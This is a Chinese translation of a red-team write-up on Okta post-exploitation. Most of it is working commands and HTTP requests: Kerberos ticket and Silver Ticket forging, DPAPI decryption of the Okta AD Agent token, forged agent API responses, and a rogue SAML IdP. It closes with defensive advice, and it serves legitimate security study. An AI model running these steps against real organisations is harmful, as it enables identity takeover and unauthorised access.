【翻译】红队的新目标Okta
字数 1009 2025-08-22 12:22:59
Okta红队攻击技术详解
0x00 前言
随着企业将安全负担委托给云服务,Microsoft Entra ID和Okta等身份提供商(IDP)的使用变得普遍。红队需要将注意力转移到这些云服务上。本文详细介绍了针对Okta的后期利用技术,所有技术都是基于合法功能设计的,不涉及0day漏洞,但许多需要管理权限。
0x01 Okta委托认证攻击
检测委托认证是否启用
- DNS查询方法:
dig tenantname.kerberos.okta.com
如果返回A记录,则说明已启用。
- LDAP查询方法:
servicePrincipalName=HTTP/customername.kerberos.okta.com
如果有账户返回,则说明已启用。
利用委托认证
- 获取TGS票据:
getST.py -spn HTTP/clientname.kerberos.okta.com -dc-ip 1.2.3.4 LAB/comprommiseduser
-
使用Rubeus或Mimikatz注入票据
-
确保
clientname.kerberos.okta.com在IE的"内网"安全区域 -
访问Okta仪表板,确认通过Kerberos登录
Silver Ticket攻击
如果获取了委托认证SPN的服务账户,可进行Silver Ticket攻击:
ticketer.py -domain-sid S-1-5-21-4170871944-1575468979-147100471 -domain lab.local -dc-ip DC01 -aesKey db22ab9c89f2f0d545024f9dfabbed44173397065d8f5b7e172200ca38ed4393 -user-id 1118 -spn HTTP/example.kerberos.okta.com testuser
0x02 劫持Okta AD代理
获取代理令牌
- 定位代理安装目录:
C:\Program Files (x86)\Okta\Okta AD Agent
-
查看
OktaAgentService.exe.config文件,寻找Base64编码的AgentToken -
使用DPAPI解密令牌(需要服务账户上下文):
Add-Type -AssemblyName 'System.Security'
$rand = [byte]174,53,167,191,10,250,125,232,223,147,248,86,65
$k = [System.Security.Cryptography.ProtectedData]::Unprotect([System.Convert]::FromBase64String("AQAAANCMnd8BFdERjH..."), $rand, [System.Security.Cryptography.DataProtectionScope]::CurrentUser)
[System.Text.Encoding]::Unicode.GetString($k)
利用代理令牌
- 构造API请求获取认证信息:
GET /api/1/internal/app/activedirectory/[APPID]/agent/[AGENTID]/nextAction?agentVersion=1&pollid=anything HTTP/1.1
Host: client.okta.com
Authorization: SSWS 00OfIl_Gi1rZu1NETmHo6auU6YZEOEn8ZlDhyqstiZ
- 伪造认证响应:
POST /api/1/internal/app/activedirectory/0oa7c027u2tcjxoki697/agent/a537ca54okqfsuu0s697/actionResult?responseid=12345 HTTP/1.1
Host: client.okta.com
Authorization: SSWS 00JFtjd...WgkeI1Eg5Y
Content-Type: application/xml; charset=utf-8
Content-Length: 1362
<agentActionResult xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" actionId="rpc::app.active_directory.agent.reply.ok14-majorecs04a.auw2-ok14.internal//1694301421033//ZPz86MzEBzhpMhSFWzyK5wAAA_Q:440a7d52-704b-4c1b-ac79-afdc241e3080:">
...
</agentActionResult>
0x03 以管理员身份劫持AD
创建API令牌
- 获取OAuth Code:
https://example.okta.com/oauth2/authorize?redirect_uri=%2Foauth-response&response_type=code&client_id=cappT0Hfy97F1BoO1UTR&prompt=select_account
- 使用code获取API令牌:
POST /oauth2/token HTTP/1.1
Host: example.okta.com
Content-Type: application/x-www-form-urlencoded
grant_type=api_token&code=7vzn01sl&client_id=cappT0Hfy97F1BoO1UTR
关联AD域
- 关联AD域:
POST /api/1/internal/app/activedirectory/ HTTP/1.1
Host: example.okta.com
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd
<domain name="lab.local"/>
- 命名连接器:
POST /api/1/internal/app/activedirectory/0oa4jsza16ar1UdaW196/agent?name=DC02 HTTP/1.1
Host: example.okta.com
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd
- 初始化连接:
POST /api/1/internal/app/activedirectory/0oa4jsza16ar1UdaW196/agent/a532camqiqXMhlOf5697/actionResult?agentVersion=3.13.0.0 HTTP/1.1
Host: example.okta.com
Authorization: SSWS 00456b2Lllk2KqjLBvaxANWEgTd7bqjsxjo8aZj0wd
<agentActionResult xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
...
</agentActionResult>
0x04 伪造SAML IDP
设置伪造IDP
-
在Okta中创建SAML 2.0 IDP
-
配置IDP:
- 名称:任意友好名称
- 发行者URL:如
https://www.example.com - IdP单点登录URL:指向伪造SAML服务器
- 匹配规则:设置为Okta用户名或电子邮件
- 账户关联策略:设置为自动
-
生成自签名证书:
openssl req -x509 -newkey rsa:2048 -sha256 -days 365 -nodes -keyout example.com.key -out example.com.crt
- 上传证书到Okta并创建IDP
利用伪造IDP
- 修改本地hosts文件(如需):
echo '127.0.0.1 idp.google.com' | sudo tee -a /etc/hosts
-
启动伪造SAML服务器
-
导航到断言消费者服务URL触发认证流程
-
提供任意电子邮件地址,无需真实凭证即可认证
防御建议
- 监控异常Kerberos票据请求
- 保护Okta AD代理服务器
- 定期轮换代理令牌
- 监控IDP配置变更
- 实施多因素认证
- 限制管理权限
- 监控异常SAML认证活动
这些技术展示了攻击者如何利用Okta的合法功能进行攻击,企业应加强对这些活动的监控和检测能力。